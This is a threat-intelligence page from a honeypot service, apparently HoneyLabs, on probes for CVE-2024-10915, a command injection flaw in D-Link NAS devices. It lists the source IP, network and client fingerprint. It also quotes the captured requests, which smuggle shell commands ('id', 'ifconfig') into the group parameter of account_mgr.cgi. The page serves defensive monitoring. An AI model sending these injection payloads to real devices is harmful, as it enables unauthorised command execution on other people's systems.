HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agentsUDP traffic
Integrations
OverviewMCPFeedsAPI / EnrichSplunkMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog

CVE-2024-10915: D-Link NAS - Command Injection via Group Parameter

HoneyLabs honeypots recorded 12 probes matching CVE-2024-10915 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;{{*}};%27

Addresses probing it

Source IPProbesNetworkCountry
93.123.109.21412Techoff Srv LimitedBulgaria

Networks it comes from

ASNOrganisationProbesSource IPs
AS48090Techoff Srv Limited121

Where it comes from

CountryProbes
Bulgaria12

Captured requests

  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;id;%27
  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;ifconfig;%27

HTTP client fingerprints

  • b11cun040_00040013_608dab68

CVE report

CVE report

Open a specific CVE from the CVE tracker.